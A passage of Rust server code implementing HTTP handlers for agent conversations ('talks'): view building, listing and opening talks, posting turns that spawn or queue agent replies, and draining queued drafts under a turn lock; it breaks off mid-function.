8039            .flat_map(|t| t.messages.iter_mut())
8040            .chain(talk.pending_messages.iter_mut())
8041            .filter_map(|m| m.reply.as_mut())
8042        {
8043            if let Some(Some(excerpt)) = excerpts
8044                .get(reply.target.turn)
8045                .and_then(|ms| ms.get(reply.target.message))
8046            {
8047                reply.excerpt = excerpt.clone();
8048                reply.sender = Some(talk::Sender::Magi);
8049            }
8050            if reply.sender.is_none() {
8051                reply.sender = senders
8052                    .get(reply.target.turn)
8053                    .and_then(|messages| messages.get(reply.target.message))
8054                    .copied();
8055            }
8056        }
8057        let context = talk::context_usage(&talk, cfg);
8058        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8059            .turns
8060            .iter()
8061            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8062            .collect();
8063        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8064            .turns
8065            .iter()
8066            .map(|turn| {
8067                if turn.messages.is_empty() {
8068                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8069                } else {
8070                    turn.messages
8071                        .iter()
8072                        .map(|message| {
8073                            notice_markdown(
8074                                message.sender.unwrap_or(talk::Sender::Operator),
8075                                &message.body,
8076                                message.display.as_ref(),
8077                            )
8078                        })
8079                        .collect()
8080                }
8081            })
8082            .collect();
8083        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8084            .pending_messages
8085            .iter()
8086            .map(|message| {
8087                notice_markdown(
8088                    message.sender.unwrap_or(talk::Sender::Operator),
8089                    &message.body,
8090                    message.display.as_ref(),
8091                )
8092            })
8093            .collect();
8094        for nodes in &mut turn_bodies_md {
8095            references.markdown(nodes);
8096        }
8097        for nodes in turn_messages_md
8098            .iter_mut()
8099            .flatten()
8100            .chain(pending_messages_md.iter_mut())
8101            .flatten()
8102        {
8103            references.markdown(nodes);
8104        }
8105        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8106        let persona_name = persona::find(specs, &talk.persona)
8107            .filter(|p| !p.is_default())
8108            .map(|p| p.name);
8109        let mut avatar_persona = persona::find(specs, &talk.persona)
8110            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8111        // A removed configured persona may still have an override and old talks.
8112        if avatar_persona.id != talk.persona
8113            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8114        {
8115            avatar_persona.id.clone_from(&talk.persona);
8116            avatar_persona.icon = None;
8117        }
8118        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8119        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8120        Self {
8121            turn_bodies_md,
8122            turn_messages_md,
8123            pending_messages_md,
8124            thinking,
8125            context,
8126            operator_name,
8127            persona_name,
8128            persona_avatar,
8129            magi_avatar: magi_icon_url(home),
8130            operator_avatar: operator_icon_url(home),
8131            talk,
8132        }
8133    }
8134}
8135
8136/// Parse only the user-facing representation of an explicitly identified MAGI send.
8137fn notice_markdown(
8138    sender: talk::Sender,
8139    body: &str,
8140    display: Option<&crate::prompt::NoticeDisplay>,
8141) -> Option<Vec<md::Node>> {
8142    if sender != talk::Sender::Magi {
8143        return None;
8144    }
8145    let text = if let Some(display) = display {
8146        display.facts.as_str()
8147    } else {
8148        // Unknown completion templates may contain internal directives. Never
8149        // promote their agent input to the Markdown display surface.
8150        if crate::prompt::is_completion_notice(body)
8151            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8152        {
8153            return None;
8154        }
8155        body.strip_prefix("magi: ").unwrap_or(body)
8156    };
8157    Some(md::to_nodes(text, &md::ImageBase::None))
8158}
8159
8160/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8161/// conversation has filed, so the phone can follow one from inside the
8162/// conversation that asked for it rather than hunting the Queue for a task id
8163/// it may not remember.
8164#[derive(Debug, Serialize)]
8165struct TalkDetailView {
8166    #[serde(flatten)]
8167    view: TalkView,
8168    tasks: Vec<TaskView>,
8169    task_progress: TalkTaskProgress,
8170    /// The agents this talk's repository can switch to; empty when its
8171    /// configuration cannot be read, which must not fail the whole detail.
8172    roster: Vec<RosterEntry>,
8173    /// The personas the conversation can pick from. The built-ins are always
8174    /// listed, even when the repository's configuration cannot be read.
8175    personas: Vec<PersonaEntry>,
8176}
8177
8178/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8179#[derive(Debug, Serialize)]
8180struct TalkTaskProgress {
8181    state: &'static str,
8182    total: usize,
8183    done: usize,
8184    counts: std::collections::BTreeMap<&'static str, usize>,
8185    unfinished_ids: Vec<String>,
8186}
8187
8188fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8189    let mut counts = std::collections::BTreeMap::from([
8190        ("queued", 0),
8191        ("running", 0),
8192        ("done", 0),
8193        ("failed", 0),
8194        ("held", 0),
8195        ("blocked", 0),
8196        ("parked", 0),
8197    ]);
8198    let mut unfinished_ids = Vec::new();
8199    for task in tasks {
8200        *counts.entry(task.status.as_str()).or_default() += 1;
8201        if task.status != TaskStatus::Done {
8202            unfinished_ids.push(task.id.clone());
8203        }
8204    }
8205    TalkTaskProgress {
8206        state: if tasks.is_empty() {
8207            "none"
8208        } else if unfinished_ids.is_empty() {
8209            "complete"
8210        } else {
8211            "incomplete"
8212        },
8213        total: tasks.len(),
8214        done: tasks.len() - unfinished_ids.len(),
8215        counts,
8216        unfinished_ids,
8217    }
8218}
8219
8220/// One persona as the talk's persona selector shows it.
8221#[derive(Debug, Serialize)]
8222struct PersonaEntry {
8223    id: String,
8224    name: String,
8225    /// Avatar URL, see [`TalkView::persona_avatar`].
8226    avatar: String,
8227}
8228
8229/// One roster agent as the talk's agent selector shows it.
8230#[derive(Debug, Serialize)]
8231struct RosterEntry {
8232    id: String,
8233    kind: AgentKind,
8234    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8235    runnable: bool,
8236}
8237
8238/// `GET /api/talks`.
8239///
8240/// Every conversation, open ones first and newest first - [`Talks::list`]'s
8241/// own order.
8242async fn talks_list(
8243    State(ui): State<Arc<Ui>>,
8244    Query(q): Query<ListQuery>,
8245) -> ApiResult<Json<Vec<TalkView>>> {
8246    blocking(move || {
8247        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8248        let talks = q.ids.as_ref().map_or_else(
8249            || ui.talks.list(),
8250            |ids| {
8251                ids.split(',')
8252                    .filter(|id| plain_record_id(id))
8253                    .filter_map(|id| ui.talks.get(id).ok())
8254                    .collect()
8255            },
8256        );
8257        let references = if talks.iter().any(id_links::has_references) {
8258            ui.references.get(
8259                &ui.runs,
8260                &ui.queue,
8261                &ui.questions,
8262                &ui.talks,
8263                talks.iter().any(id_links::has_findings),
8264            )
8265        } else {
8266            Arc::new(id_links::IdIndex::default())
8267        };
8268        Ok(Json(
8269            talks
8270                .into_iter()
8271                .filter(|talk| q.contains(&talk.id))
8272                .map(|talk| {
8273                    let thinking = ui.is_thinking(&talk.id);
8274                    let cfg = configs
8275                        .entry(talk.repo.clone())
8276                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8277                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8278                })
8279                .collect(),
8280        ))
8281    })
8282    .await
8283}
8284
8285/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8286/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8287/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8288/// end still opens a talk against an older binary.
8289#[derive(Debug, Default, Deserialize)]
8290#[serde(default)]
8291struct NewTalk {
8292    agent: Option<String>,
8293    repo: Option<PathBuf>,
8294    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8295    /// wrong type is dropped like a stale value instead of failing the request;
8296    /// each falls back to its default on its own (see [`talk::begin_with`]).
8297    preferred_agent: Option<serde_json::Value>,
8298    persona: Option<serde_json::Value>,
8299    implementers: Option<serde_json::Value>,
8300}
8301
8302/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8303/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8304async fn talk_post(
8305    State(ui): State<Arc<Ui>>,
8306    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8307) -> ApiResult<impl IntoResponse> {
8308    // An absent body, or an empty one, is the normal way to open a talk - see
8309    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8310    // rather than refused.
8311    let body = match body {
8312        Ok(Json(body)) => body,
8313        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8314        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8315    };
8316    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8317    let cfg = config_for(&repo).await?;
8318    let view = blocking(move || {
8319        let preferred = talk::Preferred {
8320            agent: body
8321                .preferred_agent
8322                .as_ref()
8323                .and_then(|v| v.as_str())
8324                .map(str::to_owned),
8325            persona: body
8326                .persona
8327                .as_ref()
8328                .and_then(|v| v.as_str())
8329                .map(str::to_owned),
8330            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8331        };
8332        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8333        let thinking = ui.is_thinking(&talk.id);
8334        Ok(TalkView::new(talk, thinking, &ui))
8335    })
8336    .await?;
8337    Ok((StatusCode::CREATED, Json(view)))
8338}
8339
8340/// Transcript first: unrelated queue history and repository probes are deferred.
8341async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8342    blocking(move || {
8343        let id = resolve_talk(&ui.talks, &id)?;
8344        let talk = ui.talks.get(&id)?;
8345        let thinking = ui.is_thinking(&id);
8346        Ok(Json(TalkView::with_config(
8347            talk,
8348            thinking,
8349            None,
8350            &ui.home,
8351            &ui.references,
8352        )))
8353    })
8354    .await
8355}
8356
8357async fn talk_sections(
8358    State(ui): State<Arc<Ui>>,
8359    Path(id): Path<String>,
8360) -> ApiResult<Json<serde_json::Value>> {
8361    blocking(move || {
8362        let id = resolve_talk(&ui.talks, &id)?;
8363        let talk = ui.talks.get(&id)?;
8364        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8365        let task_progress = talk_task_progress(&tasks);
8366        let tasks: Vec<_> = tasks
8367            .into_iter()
8368            .map(|task| {
8369                serde_json::json!({
8370                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8371                })
8372            })
8373            .collect();
8374        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8375        let roster: Vec<_> = cfg
8376            .as_ref()
8377            .map(|cfg| {
8378                cfg.agents
8379                    .iter()
8380                    .map(|a| RosterEntry {
8381                        id: a.id.clone(),
8382                        kind: a.kind,
8383                        runnable: agent::installed(a),
8384                    })
8385                    .collect()
8386            })
8387            .unwrap_or_default();
8388        let specs = cfg
8389            .as_ref()
8390            .map(|cfg| cfg.talk.personas.clone())
8391            .unwrap_or_default();
8392        let personas: Vec<_> = persona::catalog(&specs)
8393            .into_iter()
8394            .map(|p| PersonaEntry {
8395                avatar: avatar_url(&ui.home, &talk.id, &p),
8396                id: p.id,
8397                name: p.name,
8398            })
8399            .collect();
8400        let active_persona = persona::find(&specs, &talk.persona)
8401            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8402        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8403        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8404        Ok(Json(serde_json::json!({
8405            "tasks": tasks, "task_progress": task_progress,
8406            "roster": roster, "personas": personas,
8407            "context": talk::context_usage(&talk, cfg.as_ref()),
8408            "context_for": talk.updated_at,
8409            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8410            "persona_name": persona_name,
8411            "persona_avatar": persona_avatar,
8412        })))
8413    })
8414    .await
8415}
8416
8417/// `GET /api/talks/{id}`.
8418async fn talk_detail(
8419    State(ui): State<Arc<Ui>>,
8420    Path(id): Path<String>,
8421) -> ApiResult<Json<TalkDetailView>> {
8422    blocking(move || {
8423        let id = resolve_talk(&ui.talks, &id)?;
8424        let talk = ui.talks.get(&id)?;
8425        let thinking = ui.is_thinking(&talk.id);
8426        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8427        let task_progress = talk_task_progress(&tasks);
8428        let tasks = tasks.into_iter().map(TaskView::from).collect();
8429        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8430        let roster = cfg
8431            .as_ref()
8432            .map(|cfg| {
8433                cfg.agents
8434                    .iter()
8435                    .map(|a| RosterEntry {
8436                        id: a.id.clone(),
8437                        kind: a.kind,
8438                        runnable: agent::installed(a),
8439                    })
8440                    .collect()
8441            })
8442            .unwrap_or_default();
8443        let specs = cfg
8444            .as_ref()
8445            .map(|cfg| cfg.talk.personas.clone())
8446            .unwrap_or_default();
8447        let personas = persona::catalog(&specs)
8448            .into_iter()
8449            .map(|p| PersonaEntry {
8450                avatar: avatar_url(&ui.home, &talk.id, &p),
8451                id: p.id,
8452                name: p.name,
8453            })
8454            .collect();
8455        Ok(Json(TalkDetailView {
8456            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8457            tasks,
8458            task_progress,
8459            roster,
8460            personas,
8461        }))
8462    })
8463    .await
8464}
8465
8466/// The body of `POST /api/talks/{id}/say`.
8467///
8468/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8469/// returned - never bytes of its own - so a turn with no images just omits
8470/// the field, which is what an older front end still does.
8471#[derive(Debug, Default, Deserialize)]
8472#[serde(default, deny_unknown_fields)]
8473struct NewTalkTurn {
8474    reply_to: Option<talk::ReplyTarget>,
8475    text: String,
8476    attachments: Vec<String>,
8477}
8478
8479#[derive(Debug, Deserialize)]
8480#[serde(deny_unknown_fields)]
8481struct EditTalkPending {
8482    #[serde(default)]
8483    message: Option<usize>,
8484    text: String,
8485    expected_text: String,
8486    expected_attachments: Vec<String>,
8487}
8488
8489#[derive(Debug, Deserialize)]
8490#[serde(deny_unknown_fields)]
8491struct ClearTalkPending {
8492    expected_text: String,
8493    expected_attachments: Vec<String>,
8494}
8495
8496/// `POST /api/talks/{id}/say` - one turn of the conversation.
8497///
8498/// Not filesystem work, and therefore not routed through [`blocking`]: this
8499/// route spawns an agent CLI and a turn here can run for the whole of
8500/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8501/// research turn is expected to run commands rather than answer from what it
8502/// already knows. Holding an HTTP connection open that long is not a thing
8503/// to ask a phone to do; the operator's message is recorded and answered for
8504/// immediately, and the reply lands in the background, discovered through
8505/// the change stream's `talks_rev` the same way every other update on this
8506/// surface is.
8507async fn talk_say(
8508    State(ui): State<Arc<Ui>>,
8509    Path(id): Path<String>,
8510    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8511) -> ApiResult<(StatusCode, Json<TalkView>)> {
8512    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8513    if body.text.trim().is_empty() && body.attachments.is_empty() {
8514        return Err(ApiError::bad_request("say something"));
8515    }
8516
8517    let id = {
8518        let ui = Arc::clone(&ui);
8519        let asked = id.clone();
8520        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8521    };
8522    // A closed Talk never accepts a new immediate or queued turn. Check this
8523    // before claiming a slot so its ordinary domain refusal is a 409, not an
8524    // incidental failure from the later record/queue write.
8525    {
8526        let ui = Arc::clone(&ui);
8527        let id = id.clone();
8528        blocking(move || {
8529            let talk = ui.talks.get(&id)?;
8530            if !talk.status.open() {
8531                return Err(ApiError::conflict(format!(
8532                    "talk {} is {} and takes no more turns",
8533                    talk.short(),
8534                    talk.status.as_str()
8535                )));
8536            }
8537            Ok(())
8538        })
8539        .await?;
8540    }
8541
8542    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
8543    // actually stores, before anything is written - an unknown id is a 4xx
8544    // that names it rather than a turn (or a queued draft) silently missing
8545    // an image.
8546    let attachments = {
8547        let ui = Arc::clone(&ui);
8548        let id = id.clone();
8549        let ids = body.attachments.clone();
8550        blocking(move || {
8551            ids.into_iter()
8552                .map(|att_id| {
8553                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8554                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8555                    })
8556                })
8557                .collect::<ApiResult<Vec<talk::Attachment>>>()
8558        })
8559        .await?
8560    };
8561
8562    // Pending recovery and a new immediate turn are decided under the same
8563    // claim lock. Without that one critical section, a second `/say` can see
8564    // the first request's claim as "busy" and append itself to the recovered
8565    // draft before the first request rejects it.
8566    let start = {
8567        let ui = Arc::clone(&ui);
8568        let id = id.clone();
8569        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8570    };
8571    let turn_guard = match start {
8572        TalkTurnStart::Claimed(turn_guard) => turn_guard,
8573        TalkTurnStart::Pending => {
8574            return Err(ApiError::conflict(
8575                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8576            ));
8577        }
8578        TalkTurnStart::Foreign => {
8579            return Err(ApiError::conflict(
8580                "a turn is already running in another process; try again when it has finished",
8581            ));
8582        }
8583        TalkTurnStart::Busy => {
8584            // A turn is already running: queue rather than refuse. See
8585            // `Ui::begin_talk_turn` and `talk::queue`.
8586            //
8587            // The queue write and the drain it may owe live inside the task
8588            // `tokio::spawn` hands to the runtime, for the same reason the
8589            // immediate path below puts `record` there: a dropped handler
8590            // future must not be able to land between a durable write and
8591            // the task that answers it. `blocking` runs its closure on
8592            // `spawn_blocking`, which finishes whether or not anyone is left
8593            // to receive its result - so a disconnect at the `.await` below
8594            // would otherwise leave the draft persisted and the reclaimed
8595            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
8596            // ever started and the queued text stranded until some later
8597            // `say` happened to pick it up. The caller's 202 travels back
8598            // over a `oneshot`, sent the moment the write lands.
8599            let (tx, rx) = tokio::sync::oneshot::channel();
8600            tokio::spawn({
8601                let ui = Arc::clone(&ui);
8602                let id = id.clone();
8603                let said = body.text.clone();
8604                let reply_to = body.reply_to.clone();
8605                async move {
8606                    let written = blocking({
8607                        let ui = Arc::clone(&ui);
8608                        let id = id.clone();
8609                        move || {
8610                            let mut talk = ui.talks.get(&id)?;
8611                            // A test-only stop point, right before the write
8612                            // an interleaving test needs to pin - see
8613                            // `BusyQueueGate`. `None` in every real server:
8614                            // the field only exists under `#[cfg(test)]`.
8615                            #[cfg(test)]
8616                            if let Some(gate) = ui
8617                                .busy_queue_gate
8618                                .lock()
8619                                .unwrap_or_else(PoisonError::into_inner)
8620                                .take()
8621                            {
8622                                let _ = gate.reached.send(());
8623                                let _ = gate.release.recv();
8624                            }
8625                            if let Err(error) = talk::queue_reply(
8626                                &mut talk,
8627                                &ui.talks,
8628                                &said,
8629                                attachments,
8630                                reply_to,
8631                            ) {
8632                                if let Ok(fresh) = ui.talks.get(&id) {
8633                                    if !fresh.status.open() {
8634                                        return Err(ApiError::conflict(format!(
8635                                            "talk {} is {} and takes no more turns",
8636                                            fresh.short(),
8637                                            fresh.status.as_str()
8638                                        )));
8639                                    }
8640                                }
8641                                return Err(
8642                                    if error.to_string().contains("invalid reply target") {
8643                                        ApiError::bad_request("invalid reply target")
8644                                    } else {
8645                                        ApiError::from(error)
8646                                    },
8647                                );
8648                            }
8649                            // The turn that looked busy a moment ago can have
8650                            // finished, found nothing to drain and given up the
8651                            // slot in the gap between that check and this write
8652                            // landing - see `drain_loop`'s own doc for the other
8653                            // half of why that gap would otherwise be able to
8654                            // open at all. Reclaiming the slot here, rather than
8655                            // trusting that whoever held it is still watching, is
8656                            // what stops the text just queued from being stranded
8657                            // until an unrelated future `say` happens to drain
8658                            // it.
8659                            let claim = match ui.begin_queued_talk_turn(&id)? {
8660                                Some(turn_guard) => {
8661                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8662                                    Some((talk.clone(), cfg, turn_guard))
8663                                }
8664                                None => None,
8665                            };
8666                            let thinking = ui.is_thinking(&id);
8667                            Ok((TalkView::new(talk, thinking, &ui), claim))
8668                        }
8669                    })
8670                    .await;
8671                    let (view, reclaimed) = match written {
8672                        Ok(pair) => pair,
8673                        Err(e) => {
8674                            // Nobody is listening if the handler's own future
8675                            // was already dropped - that is fine, nothing was
8676                            // persisted and there is no response left to carry
8677                            // this error to.
8678                            let _ = tx.send(Err(e));
8679                            return;
8680                        }
8681                    };
8682                    // If this fails, the caller is gone; the drain below still
8683                    // runs exactly as it would have for a caller that stayed.
8684                    let _ = tx.send(Ok(view));
8685                    if let Some((talk, cfg, turn_guard)) = reclaimed {
8686                        let talks = ui.talks.clone();
8687                        drain_loop(talk, talks, cfg, id, turn_guard).await;
8688                    }
8689                }
8690            });
8691            let view = rx
8692                .await
8693                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8694            return Ok((StatusCode::ACCEPTED, Json(view)));
8695        }
8696    };
8697
8698    let (talk, cfg) = {
8699        let ui = Arc::clone(&ui);
8700        let id = id.clone();
8701        blocking(move || {
8702            let talk = ui.talks.get(&id)?;
8703            let (cfg, _) = Config::discover(&talk.repo, None)?;
8704            Ok((talk, cfg))
8705        })
8706        .await?
8707    };
8708
8709    let talks = ui.talks.clone();
8710    // `record` runs *inside* the spawned task, rather than in this handler
8711    // followed by a separate `tokio::spawn` for `respond` - axum drops this
8712    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
8713    // doc), and that drop can land at any `.await` this function makes,
8714    // including one that has already produced its result but not yet
8715    // resumed. A message could end up recorded on disk with the handler
8716    // future gone before it ever reached the `tokio::spawn` that would have
8717    // started the reply. `tokio::spawn` itself is a plain, synchronous call
8718    // that hands the whole future to the runtime as one unit - once made, no
8719    // later drop of *this* handler's own future (that call's return value is
8720    // never held onto here) can reach back in and stop it, so record and the
8721    // hand-off to `respond` are unconditionally atomic from the client's
8722    // point of view. The immediate response this handler owes the caller
8723    // travels back over a `oneshot`, sent the moment `record` succeeds.
8724    let (tx, rx) = tokio::sync::oneshot::channel();
8725    tokio::spawn({
8726        let ui = Arc::clone(&ui);
8727        let talks = talks.clone();
8728        let id = id.clone();
8729        let said = body.text.clone();
8730        let reply_to = body.reply_to.clone();
8731        let mut talk = talk.clone();
8732        async move {
8733            let recorded = blocking({
8734                let talks = talks.clone();
8735                move || {
8736                    if let Err(error) =
8737                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8738                    {
8739                        if let Ok(fresh) = talks.get(&talk.id) {
8740                            if !fresh.status.open() {
8741                                return Err(ApiError::conflict(format!(
8742                                    "talk {} is {} and takes no more turns",
8743                                    fresh.short(),
8744                                    fresh.status.as_str()
8745                                )));
8746                            }
8747                        }
8748                        return Err(if error.to_string().contains("invalid reply target") {
8749                            ApiError::bad_request("invalid reply target")
8750                        } else {
8751                            ApiError::from(error)
8752                        });
8753                    }
8754                    // `record` mutates `talk` in place to the freshly persisted
8755                    // state (status, pending, and the just-appended operator
8756                    // turn), so returning it here is equivalent to re-reading it
8757                    // from disk - without the extra round trip a re-read would
8758                    // need.
8759                    Ok((said.trim().to_owned(), talk))
8760                }
8761            })
8762            .await;
8763            let (text, mut talk) = match recorded {
8764                Ok(pair) => pair,
8765                Err(e) => {
8766                    // Nobody is listening if the handler's own future was
8767                    // already dropped - that is fine, there is no response
8768                    // left to carry this error to and nothing was persisted.
8769                    let _ = tx.send(Err(e));
8770                    return;
8771                }
8772            };
8773            let queued = talk.clone();
8774            let thinking = ui.is_thinking(&id);
8775            // If this fails, the caller is gone; the turn still runs below
8776            // exactly as it would have for a caller that stayed connected.
8777            let _ = tx.send(Ok((queued, thinking)));
8778
8779            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8780                // `respond` records the failure in the transcript itself,
8781                // which is what the phone reads; this line is for the
8782                // operator's terminal.
8783                tracing::warn!("talk {id} turn failed: {e:#}");
8784            }
8785            // Anything `talk::queue` added while the turn above was running
8786            // is still owed an answer - see `drain_loop`.
8787            drain_loop(talk, talks, cfg, id, turn_guard).await;
8788        }
8789    });
8790
8791    let (queued, thinking) = rx
8792        .await
8793        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8794
8795    // 202: the operator's message is recorded and a turn is running.
8796    Ok((
8797        StatusCode::ACCEPTED,
8798        Json(TalkView::new(queued, thinking, &ui)),
8799    ))
8800}
8801
8802/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
8803/// changing it. The turn guard is the same per-talk ownership `talk_say`
8804/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
8805async fn talk_pending_resume(
8806    State(ui): State<Arc<Ui>>,
8807    Path(id): Path<String>,
8808) -> ApiResult<(StatusCode, Json<TalkView>)> {
8809    let id = {
8810        let ui = Arc::clone(&ui);
8811        let asked = id.clone();
8812        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8813    };
8814    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8815        return Err(ApiError::conflict(
8816            "a talk turn is already running; the queued draft will be handled by it",
8817        ));
8818    };
8819    let (talk, cfg) = {
8820        let ui = Arc::clone(&ui);
8821        let id = id.clone();
8822        blocking(move || {
8823            let talk = ui.talks.get(&id)?;
8824            if !talk.status.open() {
8825                return Err(ApiError::conflict(format!(
8826                    "talk {} is {} and takes no more turns",
8827                    talk.short(),
8828                    talk.status.as_str()
8829                )));
8830            }
8831            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8832                return Err(ApiError::conflict("there is no queued draft to resume"));
8833            }
8834            let (cfg, _) = Config::discover(&talk.repo, None)?;
8835            Ok((talk, cfg))
8836        })
8837        .await?
8838    };
8839    let view = TalkView::new(talk.clone(), true, &ui);
8840    let talks = ui.talks.clone();
8841    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8842    Ok((StatusCode::ACCEPTED, Json(view)))
8843}
8844
8845/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
8846/// releasing `turn` only once a check finds it truly empty. Shared by both
8847/// callers that can end up owning a talk's turn slot with something already
8848/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
8849/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
8850/// holder just gave up - see the comment at that call site.
8851///
8852/// The release is folded into the final generation check under `turn`'s own
8853/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
8854/// free". Before its blocking `talk::drain`, this loop observes the queued
8855/// generation. A `say` that sees the turn busy writes its draft, then advances
8856/// that generation. Thus, if it lands while the drain is in flight, the final
8857/// check observes the advance and drains again; otherwise it releases the
8858/// claim while holding the same lock. This keeps the release/arrival handoff
8859/// atomic without holding the global claim mutex across filesystem I/O.
8860async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8861    drain_loop_started(talk, talks, cfg, id, turn, None).await;
8862}
8863
8864/// A settings response must not report idle while its claim is still held.
8865/// Wait until the first drain either releases the claim or promotes a draft.
8866/// The task owns the guard even if the HTTP handler is cancelled while waiting.
8867async fn settle_settings_turn(
8868    talk: Talk,
8869    talks: Talks,
8870    cfg: Config,
8871    id: String,
8872    turn: TalkTurnGuard,
8873    observed: u64,
8874) -> bool {
8875    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8876        let turns = Arc::clone(&turn.turns);
8877        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8878        if live.queued.get(&id).copied().unwrap_or(0) == observed {
8879            // Release under the arrival lock; a later `/say` takes its own claim.
8880            turn.release(&mut live);
8881            return false;
8882        }
8883    }
8884    let (started, settled) = tokio::sync::oneshot::channel();
8885    tokio::spawn(drain_loop_started(
8886        talk,
8887        talks,
8888        cfg,
8889        id,
8890        turn,
8891        Some(started),
8892    ));
8893    settled.await.unwrap_or(false)
8894}
8895
8896async fn drain_loop_started(
8897    mut talk: Talk,
8898    talks: Talks,
8899    cfg: Config,
8900    id: String,
8901    turn: TalkTurnGuard,
8902    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8903) {
8904    let live_set = Arc::clone(&turn.turns);
8905    // `Option` rather than binding `turn` directly to a `_turn` that lives
8906    // for the whole function: releasing it has to happen by calling
8907    // `TalkTurnGuard::release` from inside the locked branch below, which
8908    // takes `self` by value. Left as a plain drop instead, `Drop` would still
8909    // remove the id - correctly, if this loop is ever left some other way -
8910    // but doing it there misses the lock this loop is already holding, which
8911    // is the exact gap `release` exists to close.
8912    let mut turn = Some(turn);
8913    loop {
8914        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8915            // The lease was taken over while a turn ran. Whatever is queued
8916            // stays a draft; running it here would race the new owner.
8917            tracing::warn!("talk {id} lost its turn lease; not draining further");
8918            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8919            if let Some(turn) = turn.take() {
8920                turn.release(&mut live);
8921            }
8922            break;
8923        }
8924        {
8925            // A parking upgrade starts no further turn: whatever is queued
8926            // stays a durable draft for the successor.
8927            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8928            if live.parking {
8929                if let Some(turn) = turn.take() {
8930                    turn.release(&mut live);
8931                }
8932                break;
8933            }
8934        }
8935        // `talk::drain` takes the store lock and can write/rename the talk
8936        // file. Keep the turn mutex out of that synchronous work: it protects
8937        // every talk's in-memory claim, not this talk's disk operation.
8938        let observed = live_set
8939            .lock()
8940            .unwrap_or_else(PoisonError::into_inner)
8941            .queued
8942            .get(&id)
8943            .copied()
8944            .unwrap_or(0);
8945        let drained = blocking({
8946            let talks = talks.clone();
8947            let live_set = Arc::clone(&live_set);
8948            move || {
8949                // Promoting a draft is what starts a turn, so it is decided
8950                // under the same lock a parking upgrade takes: either the
8951                // promotion lands first (and its turn is waited for) or the
8952                // draft stays queued.
